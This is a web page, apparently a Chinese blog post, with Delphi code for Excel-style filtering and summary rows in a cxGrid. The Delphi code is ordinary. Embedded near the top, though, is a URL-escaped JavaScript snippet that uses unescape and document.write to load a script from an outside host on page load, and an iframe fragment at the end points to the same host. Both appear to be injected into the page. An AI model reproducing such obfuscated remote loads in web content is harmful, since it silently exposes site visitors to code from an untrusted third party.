cxgrid类似于EXCEL的筛选功能的制作

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

cxgrid类似于EXCEL的筛选功能的制作

procedure TForm1.Button1Click(Sender: TObject);
var
  i:integer;
begin
   adoquery1.Open ;
   cxgrid1dbtableview1.DataController.CreateAllItems
;//  根据打开的数据源自动生成column
   for i:=0 to cxgrid1dbtableview1.ColumnCount -1 do
      begin
      //showmessage(cxgrid1dbtableview1.Columns[i].DataBinding.ValueType);
      cxgrid1dbtableview1.Columns[i].Width :=cxgrid1.Width div(cxgrid1dbtableview1.ColumnCount-1);
        if  cxgrid1dbtableview1.Columns[i].DataBinding.ValueType ='Integer' then 
//根据数据类型生成是否要汇总的项目
           begin
              cxgrid1dbtableview1.BeginUpdate ;
             // showmessage('dgf');
               with cxgrid1dbtableview1.DataController.Summary.FooterSummaryItems.Add as tcxgriddbtablesummaryitem do
                 begin
                   column:=cxgrid1dbtableview1.Columns[i];
                   kind:=sksum;
                   format:='0';
                 end;
              cxgrid1dbtableview1.EndUpdate ;
           end;
      end;
end;
procedure TForm1.cxGrid1DBTableView1DataControllerFilterBeforeChange(
  Sender: TcxDBDataFilterCriteria; ADataSet: TDataSet;
  const AFilterText: String);
begin 
//类似于EXCEL的数据筛选方法
    Adataset.Filter :=afiltertext;
    cxgrid1dbtableview1.Filtering.ColumnMRUItemsList:=false;
    adataset.Filtered :=true;
    cxgrid1dbtableview1.Filtering.ColumnMRUItemsList:=true;
end; 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">